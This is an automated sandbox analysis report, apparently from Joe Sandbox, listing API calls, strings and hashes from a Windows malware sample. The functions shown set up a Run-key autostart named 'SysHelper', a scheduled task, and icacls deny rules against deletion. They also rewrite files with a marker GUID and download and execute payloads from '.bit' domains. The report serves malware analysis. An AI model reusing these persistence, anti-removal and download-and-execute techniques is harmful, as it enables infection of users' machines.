CoCreateInstance.OLE32(004D506C,00000000,00000001,004D4FEC,?,?,00000000,000000FF), ref: 0040D2D5
VariantInit.OLEAUT32(?), ref: 0040D2F0
VariantInit.OLEAUT32(?), ref: 0040D309
VariantInit.OLEAUT32(?), ref: 0040D322
VariantInit.OLEAUT32(?), ref: 0040D33B
VariantClear.OLEAUT32(?), ref: 0040D397
VariantClear.OLEAUT32(?), ref: 0040D3A4
VariantClear.OLEAUT32(?), ref: 0040D3B1
VariantClear.OLEAUT32(?), ref: 0040D3C2
CoUninitialize.OLE32 ref: 0040D3D5

Strings

Author Name, xrefs: 0040D4C8
2030-05-02T08:00:00, xrefs: 0040D737
Time Trigger Task, xrefs: 0040D43C, 0040D973
--Task, xrefs: 0040D8DD
%Y-%m-%dT%H:%M:%S, xrefs: 0040D790
PT5M, xrefs: 0040D5A1, 0040D66C
Trigger1, xrefs: 0040D6FA
RegisterTaskDefinition. Err: %X, xrefs: 0040DA11

Memory Dump Source

Source File: 00000004.00000002.2351592951.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2351592951.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2351592951.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2351592951.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID: Variant$ClearInit$Initialize$CreateInstanceSecurityUninitialize
String ID: %Y-%m-%dT%H:%M:%S$--Task$2030-05-02T08:00:00$Author Name$PT5M$RegisterTaskDefinition. Err: %X$Time Trigger Task$Trigger1
API String ID: 2496729271-1738591096
Opcode ID: cb66fe247f9b156f22494013d15e12f699bc533a195ac6ce3e8447d31127aeba
Instruction ID: 4ad9c2e8017b41c765d67f99bb49247a0c13fc41f24acee5688789d455a97b09
Opcode Fuzzy Hash: cb66fe247f9b156f22494013d15e12f699bc533a195ac6ce3e8447d31127aeba
Instruction Fuzzy Hash: 05526F70E00219DFDB10DFA8C858FAEBBB4EF49304F1481A9E505BB291DB74AD49CB95

Uniqueness

Uniqueness Score: -1.00%

Function 00410FC0 Relevance: 33.4, APIs: 18, Strings: 1, Instructions: 149
encryptionstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CryptAcquireContextW.ADVAPI32(?,00000000,00000000,00000001,F0000000), ref: 00411010
__CxxThrowException@8.LIBCMT ref: 00411026

Part of subcall function 00430ECA: RaiseException.KERNEL32(?,?,0044F299,?,?,?,?,?,?,?,0044F299,?,00508238,?), ref: 00430F1F

CryptCreateHash.ADVAPI32(00000000,00008003,00000000,00000000,00000000), ref: 0041103B
__CxxThrowException@8.LIBCMT ref: 00411051
lstrlenA.KERNEL32(?,00000000), ref: 00411059
CryptHashData.ADVAPI32(00000000,?,00000000,?,00000000), ref: 00411064
__CxxThrowException@8.LIBCMT ref: 0041107A
CryptGetHashParam.ADVAPI32(00000000,00000002,00000000,?,00000000,?,00000000,?,00000000), ref: 00411099
__CxxThrowException@8.LIBCMT ref: 004110AB
_memset.LIBCMT ref: 004110CA
CryptGetHashParam.ADVAPI32(00000000,00000002,00000000,00000000,00000000), ref: 004110DE
__CxxThrowException@8.LIBCMT ref: 004110F0
_malloc.LIBCMT ref: 00411100
_memset.LIBCMT ref: 0041110B
_sprintf.LIBCMT ref: 0041112E
lstrcatA.KERNEL32(?,?), ref: 0041113C
CryptDestroyHash.ADVAPI32(00000000), ref: 00411154
CryptReleaseContext.ADVAPI32(00000000,00000000), ref: 0041115F

Strings

%.2X, xrefs: 00411128

Memory Dump Source

Source File: 00000004.00000002.2351592951.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2351592951.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2351592951.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2351592951.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID: Crypt$Exception@8HashThrow$ContextParam_memset$AcquireCreateDataDestroyExceptionRaiseRelease_malloc_sprintflstrcatlstrlen
String ID: %.2X
API String ID: 2451520719-213608013
Opcode ID: cffbae393b9c2034aaa015718cd028ffd9aba4d39295b0a39f2b934ffbce0a78
Instruction ID: afcee35d8fffc0279d29cc69f214b0122642615a52b78f57353c1cfd92a6c2ef
Opcode Fuzzy Hash: cffbae393b9c2034aaa015718cd028ffd9aba4d39295b0a39f2b934ffbce0a78
Instruction Fuzzy Hash: 92516171E40219BBDB10DBE5DC46FEFBBB8FB08704F14012AFA05B6291D77959018BA9

Uniqueness

Uniqueness Score: -1.00%

Function 0040F730 Relevance: 29.2, APIs: 19, Instructions: 732COMMON

Download Yara Rule

APIs

Part of subcall function 00411AB0: PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00411ACA
Part of subcall function 00411AB0: DispatchMessageW.USER32(?), ref: 00411AE0
Part of subcall function 00411AB0: PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00411AEE

PathFindFileNameW.SHLWAPI(?,?,00000000,000000FF,?,00000000), ref: 0040F900
_memmove.LIBCMT ref: 0040F9EA
PathFindFileNameW.SHLWAPI(?,?,00000000,00000000,00000000,-00000002), ref: 0040FA51
_memmove.LIBCMT ref: 0040FADA

Memory Dump Source

Source File: 00000004.00000002.2351592951.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2351592951.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2351592951.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2351592951.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID: Message$FileFindNamePathPeek_memmove$Dispatch
String ID:
API String ID: 273148273-0
Opcode ID: 8fff373ec84daedcdf029cd26b097ffc12257b5146bd34e9c5abe1a59d675f67
Instruction ID: a2fe25dd57492d494e78aebb36a96054b80ce25314fb01b08d1ce03a62da89f0
Opcode Fuzzy Hash: 8fff373ec84daedcdf029cd26b097ffc12257b5146bd34e9c5abe1a59d675f67
Instruction Fuzzy Hash: D652A271D00208DBDF20DFA4D985BDEB7B4BF05308F10817AE419B7291D779AA89CB99

Uniqueness

Uniqueness Score: -1.00%

Function 0040E870 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 165
encryptionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CryptAcquireContextW.ADVAPI32(00000000,00000000,00000000,00000001,F0000000,004FFCA4,00000000,00000000), ref: 0040E8CE
__CxxThrowException@8.LIBCMT ref: 0040E8E4

Part of subcall function 00430ECA: RaiseException.KERNEL32(?,?,0044F299,?,?,?,?,?,?,?,0044F299,?,00508238,?), ref: 00430F1F

CryptCreateHash.ADVAPI32(00000000,00008003,00000000,00000000,00000000), ref: 0040E8F9
__CxxThrowException@8.LIBCMT ref: 0040E90F
CryptHashData.ADVAPI32(00000000,00000000,?,00000000), ref: 0040E928
__CxxThrowException@8.LIBCMT ref: 0040E93E
CryptGetHashParam.ADVAPI32(00000000,00000002,00000000,?,00000000), ref: 0040E95D
__CxxThrowException@8.LIBCMT ref: 0040E96F
_memset.LIBCMT ref: 0040E98E
CryptGetHashParam.ADVAPI32(00000000,00000002,00000000,00000000,00000000), ref: 0040E9A2
__CxxThrowException@8.LIBCMT ref: 0040E9B4
_sprintf.LIBCMT ref: 0040E9D3

Strings

%.2X, xrefs: 0040E9CD

Memory Dump Source

Source File: 00000004.00000002.2351592951.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2351592951.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2351592951.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2351592951.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID: CryptException@8Throw$Hash$Param$AcquireContextCreateDataExceptionRaise_memset_sprintf
String ID: %.2X
API String ID: 1084002244-213608013
Opcode ID: 1d00b682ff7c2ca758e8ada97b96716206c53ff5765b13fcfff0edcc43553fd4
Instruction ID: 6020eefb82f776eec2353dc0ff897aa1862dcd4ecc30860888fbdadc8ba65bc1
Opcode Fuzzy Hash: 1d00b682ff7c2ca758e8ada97b96716206c53ff5765b13fcfff0edcc43553fd4
Instruction Fuzzy Hash: 835173B1E40209EBDF11DFA2DC46FEEBB78EB04704F10452AF501B61C1D7796A158BA9

Uniqueness

Uniqueness Score: -1.00%

Function 0040EAA0 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 159
encryptionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CryptAcquireContextW.ADVAPI32(00000000,00000000,00000000,00000001,F0000000,004FFCA4,00000000,00000000,00000000,?), ref: 0040EB01
__CxxThrowException@8.LIBCMT ref: 0040EB17

Part of subcall function 00430ECA: RaiseException.KERNEL32(?,?,0044F299,?,?,?,?,?,?,?,0044F299,?,00508238,?), ref: 00430F1F

CryptCreateHash.ADVAPI32(00000000,00008003,00000000,00000000,00000000), ref: 0040EB2C
__CxxThrowException@8.LIBCMT ref: 0040EB42
CryptHashData.ADVAPI32(00000000,00000000,00000000,00000000), ref: 0040EB4E
__CxxThrowException@8.LIBCMT ref: 0040EB64
CryptGetHashParam.ADVAPI32(00000000,00000002,00000000,?,00000000), ref: 0040EB83
__CxxThrowException@8.LIBCMT ref: 0040EB95
_memset.LIBCMT ref: 0040EBB4
CryptGetHashParam.ADVAPI32(00000000,00000002,00000000,00000000,00000000), ref: 0040EBC8
__CxxThrowException@8.LIBCMT ref: 0040EBDA
_sprintf.LIBCMT ref: 0040EBF4
CryptDestroyHash.ADVAPI32(00000000), ref: 0040EC44
CryptReleaseContext.ADVAPI32(00000000,00000000), ref: 0040EC4F

Strings

%.2X, xrefs: 0040EBEE

Memory Dump Source

Source File: 00000004.00000002.2351592951.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2351592951.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2351592951.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2351592951.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID: Crypt$Exception@8HashThrow$ContextParam$AcquireCreateDataDestroyExceptionRaiseRelease_memset_sprintf
String ID: %.2X
API String ID: 1637485200-213608013
Opcode ID: 3c969f350820ba706d19a7227015f75167d650bfbf9457a4931adb697a62dd31
Instruction ID: 14d7d02cf3c54262bdef7e6fa07b3cadf7b2b7504ea62fb0b9d39e8d8664034d
Opcode Fuzzy Hash: 3c969f350820ba706d19a7227015f75167d650bfbf9457a4931adb697a62dd31
Instruction Fuzzy Hash: A6515371E40209ABDF11DBA6DC46FEFBBB8EB04704F14052AF505B62C1D77969058BA8

Uniqueness

Uniqueness Score: -1.00%

Function 0040E670 Relevance: 26.3, APIs: 12, Strings: 3, Instructions: 78
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_malloc.LIBCMT ref: 0040E67F

Part of subcall function 00420C62: __FF_MSGBANNER.LIBCMT ref: 00420C79
Part of subcall function 00420C62: __NMSG_WRITE.LIBCMT ref: 00420C80
Part of subcall function 00420C62: RtlAllocateHeap.NTDLL(006B0000,00000000,00000001,00000001,?,?,?,00430E81,00000001,00000000,?,?,?,00430D1A,0044F284,?), ref: 00420CA5

_malloc.LIBCMT ref: 0040E68B
_wprintf.LIBCMT ref: 0040E69E
_free.LIBCMT ref: 0040E6A4

Part of subcall function 00420BED: RtlFreeHeap.NTDLL(00000000,00000000,?,0042507F,00000000,00000001,00000000,?,?,?,00430D1A,0044F284,?), ref: 00420C01
Part of subcall function 00420BED: GetLastError.KERNEL32(00000000,?,0042507F,00000000,00000001,00000000,?,?,?,00430D1A,0044F284,?), ref: 00420C13

GetAdaptersInfo.IPHLPAPI(00000000,00000288), ref: 0040E6B9
_free.LIBCMT ref: 0040E6C5
_malloc.LIBCMT ref: 0040E6CD
GetAdaptersInfo.IPHLPAPI(00000000,00000288), ref: 0040E6E0
_sprintf.LIBCMT ref: 0040E720
_wprintf.LIBCMT ref: 0040E732
_wprintf.LIBCMT ref: 0040E73C
_free.LIBCMT ref: 0040E745

Strings

Error allocating memory needed to call GetAdaptersinfo, xrefs: 0040E699
Address: %s, mac: %s, xrefs: 0040E72D
%02X:%02X:%02X:%02X:%02X:%02X, xrefs: 0040E71A

Memory Dump Source

Source File: 00000004.00000002.2351592951.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2351592951.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2351592951.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2351592951.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID: _free_malloc_wprintf$AdaptersHeapInfo$AllocateErrorFreeLast_sprintf
String ID: %02X:%02X:%02X:%02X:%02X:%02X$Address: %s, mac: %s$Error allocating memory needed to call GetAdaptersinfo
API String ID: 3901070236-1604013687
Opcode ID: a328fcd4842b127b9f08d968f541d4271d964a2002a9895a22376d6d76895778
Instruction ID: 1f0497fb971ee708fef02f82321736b2a43cb7681c3985dbc626545fd8dc3fd8
Opcode Fuzzy Hash: a328fcd4842b127b9f08d968f541d4271d964a2002a9895a22376d6d76895778
Instruction Fuzzy Hash: 251127B2A045647AC27162F76C02FFF3ADC8F45705F84056BFA98E1182EA5D5A0093B9

Uniqueness

Uniqueness Score: -1.00%

Function 0040FB98 Relevance: 15.3, APIs: 10, Instructions: 266
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PathAppendW.SHLWAPI(?,?), ref: 0040FBD5
_memmove.LIBCMT ref: 0040FC3C
PathFileExistsW.SHLWAPI(?,?,?,00000007), ref: 0040FC63
_malloc.LIBCMT ref: 0040FC72
lstrcpyW.KERNEL32(00000000,?), ref: 0040FC8C
lstrcatW.KERNEL32(00000000,?), ref: 0040FCA5
_free.LIBCMT ref: 0040FCD7

Memory Dump Source

Source File: 00000004.00000002.2351592951.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2351592951.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2351592951.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2351592951.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID: Path$AppendExistsFile_free_malloc_memmovelstrcatlstrcpy
String ID:
API String ID: 3232302685-0
Opcode ID: b46b623668b5527df6077c72673b894aea5c6e6f862bd21941fa54399a6513f3
Instruction ID: e959444c36dd18fc08dff6604914d564c76187b82df2896015b22d61e5b1ffa1
Opcode Fuzzy Hash: b46b623668b5527df6077c72673b894aea5c6e6f862bd21941fa54399a6513f3
Instruction Fuzzy Hash: 09B19F70D00208DBDF20DFA4D945BDEB7B5BF15308F50407AE40AAB291E7799A89CF5A

Uniqueness

Uniqueness Score: -1.00%

Function 00411CD0 Relevance: 79.1, APIs: 36, Strings: 9, Instructions: 382
stringregistrylibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExW.KERNEL32(80000001,Software\Microsoft\Windows\CurrentVersion\Run,00000000,000F003F,?,?,?,?,?,?,004CAC68,000000FF), ref: 00411D12
_memset.LIBCMT ref: 00411D3B
RegQueryValueExW.KERNEL32(?,SysHelper,00000000,?,?,00000400), ref: 00411D63
RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,004CAC68,000000FF), ref: 00411D6C
lstrlenA.KERNEL32(" --AutoStart,?,?), ref: 00411DD6
PathFileExistsW.SHLWAPI(?,?,?,?,?,?,?,?,?,?,?,?,?,00000001,-00000001), ref: 00411E48
LoadLibraryW.KERNEL32(Shell32.dll,?,?), ref: 00411E99
GetProcAddress.KERNEL32(00000000,SHGetFolderPathW), ref: 00411EA5
GetCommandLineW.KERNEL32 ref: 00411EB4
CommandLineToArgvW.SHELL32(00000000,00000000), ref: 00411EBF
lstrcpyW.KERNEL32(?,00000000), ref: 00411ECE
PathFindFileNameW.SHLWAPI(?), ref: 00411EDB
UuidCreate.RPCRT4(?), ref: 00411EFC
UuidToStringW.RPCRT4(?,?), ref: 00411F14
RpcStringFreeW.RPCRT4(00000000), ref: 00411F64
PathAppendW.SHLWAPI(?,?), ref: 00411F83
CreateDirectoryW.KERNEL32(?,00000000), ref: 00411F8E
PathAppendW.SHLWAPI(?,?,?,?), ref: 0041202D
DeleteFileW.KERNEL32(?), ref: 00412036
CopyFileW.KERNEL32(?,?,00000000), ref: 0041204C
RegOpenKeyExW.ADVAPI32(80000001,Software\Microsoft\Windows\CurrentVersion\Run,00000000,000F003F,?), ref: 0041206E
_memset.LIBCMT ref: 00412090
lstrcpyW.KERNEL32(?,005002FC), ref: 004120AA
lstrcatW.KERNEL32(?,?), ref: 004120C0
lstrcatW.KERNEL32(?," --AutoStart), ref: 004120CE
lstrlenW.KERNEL32(?), ref: 004120D7
RegSetValueExW.ADVAPI32(00000000,SysHelper,00000000,00000002,?,00000000), ref: 004120F3
RegCloseKey.ADVAPI32(00000000), ref: 004120FC
_memset.LIBCMT ref: 00412120
SetLastError.KERNEL32(00000000), ref: 00412146
lstrcpyW.KERNEL32(?,icacls "), ref: 00412158
lstrcatW.KERNEL32(?,?), ref: 0041216D

Strings

SHGetFolderPathW, xrefs: 00411E9F
Software\Microsoft\Windows\CurrentVersion\Run, xrefs: 00411D06, 00412064
" --AutoStart, xrefs: 00411DD1
D, xrefs: 00412128
" /deny *S-1-1-0:(OI)(CI)(DE,DC), xrefs: 0041216F
icacls ", xrefs: 0041214C
SysHelper, xrefs: 00411D5B, 004120EB
Shell32.dll, xrefs: 00411E94
" --AutoStart, xrefs: 004120C2

Memory Dump Source

Source File: 00000004.00000002.2351592951.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2351592951.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2351592951.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2351592951.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID: FilePath$_memsetlstrcatlstrcpy$AppendCloseCommandCreateLineOpenStringUuidValuelstrlen$AddressArgvCopyDeleteDirectoryErrorExistsFindFreeLastLibraryLoadNameProcQuery
String ID: " --AutoStart$" --AutoStart$" /deny *S-1-1-0:(OI)(CI)(DE,DC)$D$SHGetFolderPathW$Shell32.dll$Software\Microsoft\Windows\CurrentVersion\Run$SysHelper$icacls "
API String ID: 2589766509-1182136429
Opcode ID: 382191e0130b914e75e9ae91ab95590b4f9e317235fe89193cfc36b6a2d14a1e
Instruction ID: 715e32bd1e023583792331b7dbf49be96a7b9f80df69a50876529e1503cb0a0b
Opcode Fuzzy Hash: 382191e0130b914e75e9ae91ab95590b4f9e317235fe89193cfc36b6a2d14a1e
Instruction Fuzzy Hash: 51E14171D00219EBDF24DBA0DD89FEE77B8BF04304F14416AE609E6191EB786A85CF58

Uniqueness

Uniqueness Score: -1.00%

Function 004111C0 Relevance: 65.3, APIs: 36, Strings: 1, Instructions: 551
filestringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNEL32(00000000,C0000000,00000001,00000000,00000003,00000080,00000000,?,00000000,?), ref: 0041120F
GetFileSizeEx.KERNEL32(00000000,?,?,00000000,?), ref: 00411228
CloseHandle.KERNEL32(00000000,?,00000000,?), ref: 0041123D
MoveFileW.KERNEL32(00000000,?), ref: 00411277
VirtualAlloc.KERNEL32(00000000,00025815,00001000,00000004,?,00000000,?), ref: 004112B1
_memset.LIBCMT ref: 004112C8
SetFilePointerEx.KERNEL32(00000000,?,00000000,00000000,00000000,?,00000000,?), ref: 00411301
VirtualFree.KERNEL32(00000000,00000000,00008000,?,00000000,?), ref: 00411314
CloseHandle.KERNEL32(00000000,?,00000000,?), ref: 0041131B
ReadFile.KERNEL32(00000000,00000000,00000026,?,00000000,?,00000000,?), ref: 00411349
VirtualFree.KERNEL32(00000000,00000000,00008000,00000000,?,00000000,?), ref: 00411381
CloseHandle.KERNEL32(00000000,?,00000000,?), ref: 00411388
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?), ref: 004113E6
ReadFile.KERNEL32(00000000,00000000,00025805,?,00000000,?,00000000,?), ref: 00411409
VirtualFree.KERNEL32(00000000,00000000,00008000,?,00000000,?), ref: 00411417
CloseHandle.KERNEL32(00000000,?,00000000,?), ref: 0041141E
lstrlenA.KERNEL32(?,?,00000000,?), ref: 00411471
lstrlenA.KERNEL32(?,?,?,00000000,?), ref: 00411491
lstrlenA.KERNEL32(?,00000000,?,?,?,?,?,00000000,?), ref: 004114CF
SetFilePointer.KERNEL32(00000000,00000005,00000000,00000000,00000005,00000000,-000000FB,-000000FB,00000000,00000000,000000FF,00000000,00000000,00000000), ref: 0041159D
SetFilePointerEx.KERNEL32(00000000,?,00000000,00000000,00000000,?,00000000,?), ref: 004115D0
WriteFile.KERNEL32(00000000,?,00000000,00000000,00000000,?,00000000,?), ref: 004115F8
WriteFile.KERNEL32(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,?,00000000), ref: 00411649
lstrlenA.KERNEL32({36A698B9-D67C-4E07-BE82-0EC5B14B4DF5},00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 0041166B
WriteFile.KERNEL32(00000000,{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5},00000000,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00411678
CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,?,00000000,?), ref: 0041168D
MoveFileW.KERNEL32(?,?), ref: 004116D6
VirtualFree.KERNEL32(00000000,00000000,00008000,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 004116EB

Strings

{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}, xrefs: 00411364, 00411666, 00411672

Memory Dump Source

Source File: 00000004.00000002.2351592951.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2351592951.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2351592951.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2351592951.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID: File$CloseHandleVirtual$FreePointerlstrlen$Write$MoveRead$AllocCreateSize_memset
String ID: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
API String ID: 254274740-1186676987
Opcode ID: 1448deef21e163a140caf5e6bb038b5fd295b7e5c4a4a491d3225e255b9fdc06
Instruction ID: 4b60432aefe4dd0e03df0e566fa74873db0e7dc4ed90acce11ed2be1fb3b5442
Opcode Fuzzy Hash: 1448deef21e163a140caf5e6bb038b5fd295b7e5c4a4a491d3225e255b9fdc06
Instruction Fuzzy Hash: E7229F70E00209EBDB10EBA5DC85FEEB7B8EF05304F10416AE519B7291DB785A85CB69

Uniqueness

Uniqueness Score: -1.00%

Function 0041DBD0 Relevance: 49.6, APIs: 23, Strings: 5, Instructions: 565
networkfilelibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0040ECB0: _strtok.LIBCMT ref: 0040ED66

LoadLibraryW.KERNEL32(Shell32.dll), ref: 0041DCF5
GetProcAddress.KERNEL32(00000000,SHGetFolderPathA), ref: 0041DD01

Part of subcall function 00413C40: _memset.LIBCMT ref: 00413C83

UuidCreate.RPCRT4(?), ref: 0041DD3C
UuidToStringA.RPCRT4(?,?), ref: 0041DD57
RpcStringFreeA.RPCRT4(00000000), ref: 0041DDB4
PathAppendA.SHLWAPI(?,00000000), ref: 0041DDD3
CreateDirectoryA.KERNEL32(?,00000000), ref: 0041DDDC
_memset.LIBCMT ref: 0041DEE7
InternetOpenA.WININET(Microsoft Internet Explorer,00000000,00000000,00000000,00000000), ref: 0041DEFC

Part of subcall function 00412900: MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000010,-000003FF,-000003FF), ref: 00412966

_wcsstr.LIBCMT ref: 0041DF50
InternetOpenUrlA.WININET(00000000,00000000), ref: 0041E07B

Part of subcall function 0040DD40: _wcsstr.LIBCMT ref: 0040DD8D
Part of subcall function 0040DD40: _wcsstr.LIBCMT ref: 0040DDB6
Part of subcall function 0040DD40: _memset.LIBCMT ref: 0040DDE4
Part of subcall function 0040DD40: lstrlenW.KERNEL32(?), ref: 0040DE0A
Part of subcall function 0040DD40: gethostbyname.WS2_32(00500134), ref: 0040DEA7

_memmove.LIBCMT ref: 0041DFDD
HttpQueryInfoW.WININET(00000000,20000013,?,00000000,00000000), ref: 0041E10D
lstrcpyA.KERNEL32(?,?), ref: 0041E229
PathAppendA.SHLWAPI(?,?), ref: 0041E23F
CreateFileA.KERNEL32(?,40000000,00000001,00000000,00000002,00000080,00000000,?,?), ref: 0041E288
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000), ref: 0041E2A0
InternetReadFile.WININET(00000000,?,00002800,?), ref: 0041E2C7
WriteFile.KERNEL32(00000000,?,?,?,00000000), ref: 0041E2FB
CloseHandle.KERNEL32(00000000), ref: 0041E317
InternetCloseHandle.WININET(00000000), ref: 0041E324
InternetCloseHandle.WININET(?), ref: 0041E32A
ShellExecuteA.SHELL32(00000000,00000000,?,00000000,00000000,00000001), ref: 0041E34D

Strings

Microsoft Internet Explorer, xrefs: 0041DEF7
$run, xrefs: 0041DEAB
.bit/, xrefs: 0041DF45
SHGetFolderPathA, xrefs: 0041DCFB
Shell32.dll, xrefs: 0041DCF0

Memory Dump Source

Source File: 00000004.00000002.2351592951.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2351592951.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2351592951.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2351592951.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID: Internet$File$CloseCreateHandle_memset_wcsstr$AppendOpenPathStringUuid$AddressByteCharDirectoryExecuteFreeHttpInfoLibraryLoadMultiPointerProcQueryReadShellWideWrite_memmove_strtokgethostbynamelstrcpylstrlen
String ID: $run$.bit/$Microsoft Internet Explorer$SHGetFolderPathA$Shell32.dll
API String ID: 1843630811-800396732
Opcode ID: 81868658993aa4ffea6389206a6234c1bb997a98d7e09eaa96de706dcaa2bf10
Instruction ID: dcf8a581e05b5da13000ef7a953c2c15a8b95d2250363c4482f8ef8be3b44f4c
Opcode Fuzzy Hash: 81868658993aa4ffea6389206a6234c1bb997a98d7e09eaa96de706dcaa2bf10
Instruction Fuzzy Hash: BF32C070108380EFE730DF25C845B9BBBE4AF85308F10491EF99957291D7BA9589CB9B

Uniqueness

Uniqueness Score: -1.00%

Function 00412220 Relevance: 36.9, APIs: 16, Strings: 5, Instructions: 116
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCommandLineW.KERNEL32 ref: 00412235
CommandLineToArgvW.SHELL32(00000000,?), ref: 00412240
PathFindFileNameW.SHLWAPI(00000000), ref: 00412248
LoadLibraryW.KERNEL32(kernel32.dll), ref: 00412256
GetProcAddress.KERNEL32(00000000,EnumProcesses), ref: 0041226A
GetProcAddress.KERNEL32(00000000,EnumProcessModules), ref: 00412275
GetProcAddress.KERNEL32(00000000,GetModuleBaseNameW), ref: 00412280
LoadLibraryW.KERNEL32(Psapi.dll), ref: 00412291
GetProcAddress.KERNEL32(00000000,EnumProcesses), ref: 0041229F
GetProcAddress.KERNEL32(00000000,EnumProcessModules), ref: 004122AA
GetProcAddress.KERNEL32(00000000,GetModuleBaseNameW), ref: 004122B5
K32EnumProcesses.KERNEL32(?,0000A000,?), ref: 004122CD
OpenProcess.KERNEL32(00000410,00000000,?), ref: 004122FE
